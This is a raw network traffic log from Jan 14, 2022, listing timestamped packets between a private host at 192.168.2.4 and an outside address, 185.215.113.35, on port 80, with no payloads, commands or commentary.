Jan 14, 2022 09:26:00.615689039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615890980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615906000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616143942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616159916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616388083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616401911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616625071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616641045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616844893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.616859913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617053032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617069006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617240906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617254972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617425919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617441893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617588043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617604017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617754936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.617916107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.618223906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.618618011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.618834972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.619112015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.619430065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.619741917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.620069027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.620323896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.620471001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.620680094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.620882988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.621241093 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.621259928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.621270895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.621665001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.621692896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.622049093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.622062922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.622431040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.622447968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.622811079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.622826099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.623183012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.623199940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.623554945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.623570919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.623927116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.623944044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.624300957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.624315977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.624671936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.624689102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.625061035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.625075102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.625478029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.625495911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.625751019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.625940084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.626379967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.627090931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.627304077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.627821922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.628344059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.628777981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.629308939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.629318953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.629722118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.629740953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.630073071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.630091906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.630537987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.641879082 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.642554045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.645658016 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.651264906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.651875019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.652030945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.652157068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.652425051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.652673960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.653635979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.653650999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.653772116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.654033899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.654050112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.654274940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.654290915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.656171083 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.656327963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673796892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673830032 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673880100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673907995 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673933983 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673959017 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.673983097 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.674052954 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.674221039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.674249887 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.674273968 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.674494028 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.674521923 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.681885004 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.681931019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.682277918 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.682308912 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.686160088 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.686191082 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.686300993 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.686697960 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.686781883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.686801910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.687094927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.687391043 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.687398911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.687882900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.688019037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.688188076 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.688334942 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.688618898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689137936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689162970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689467907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689493895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689604998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689626932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689845085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.689862967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690098047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690119028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690326929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690346956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690562963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690582991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690799952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.690815926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691037893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691061974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691268921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691289902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691510916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691533089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691756964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691776991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.691998959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692022085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692234993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692255974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692472935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692496061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692711115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692714930 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.692720890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692950964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.692972898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.693185091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.693206072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.693788052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.693809986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.694202900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.694212914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.694534063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.694545984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.694788933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.695118904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.695514917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.695766926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.696033001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.696175098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.696515083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.696525097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.696758986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.696769953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697002888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697012901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697231054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697242022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697459936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697470903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697690964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697700024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697891951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.697999954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698010921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698178053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698188066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698422909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698434114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698657036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698668957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698911905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.698924065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699131966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699141979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699353933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699364901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699588060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699596882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699829102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.699840069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700067043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700077057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700304985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700315952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700541019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700550079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700776100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.700788021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.711692095 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.715039968 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.715286970 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.715321064 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.716984987 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.729331017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.729367018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.729485989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.729520082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.729829073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.729839087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730015993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730024099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730192900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730202913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730367899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730376959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730546951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730556011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730720043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730729103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730900049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.730910063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731070995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731079102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731249094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731257915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731422901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731431961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731597900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731606960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731775045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731782913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731959105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.731965065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732132912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732141018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732310057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732320070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732480049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732487917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732656002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732665062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732831955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.732839108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733010054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733019114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733179092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733189106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733359098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733369112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733534098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733542919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733711958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733721018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733890057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.733899117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734045029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734162092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734170914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734334946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734344959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734509945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734519005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734683990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734694004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734862089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.734870911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.735028982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.735097885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.735304117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.735352039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.735584021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.735869884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.736180067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.736272097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.736330986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.736634970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.736790895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737070084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737257957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737329006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737422943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737597942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737607956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737709045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737863064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.737873077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738045931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738054037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738224030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738234043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738398075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738406897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738575935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738585949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738746881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738755941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738924026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.738934040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739099026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739108086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739275932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739285946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739447117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739454985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739624977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739634991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.739833117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.758399963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758435011 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758642912 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758671045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758699894 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758725882 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758753061 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758779049 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758807898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.758909941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.759021997 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.759054899 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.759211063 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.759238005 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.759263992 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.762095928 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.771135092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.771325111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.771354914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.771702051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.772308111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.773294926 CET	49891	80	192.168.2.4	185.215.113.35
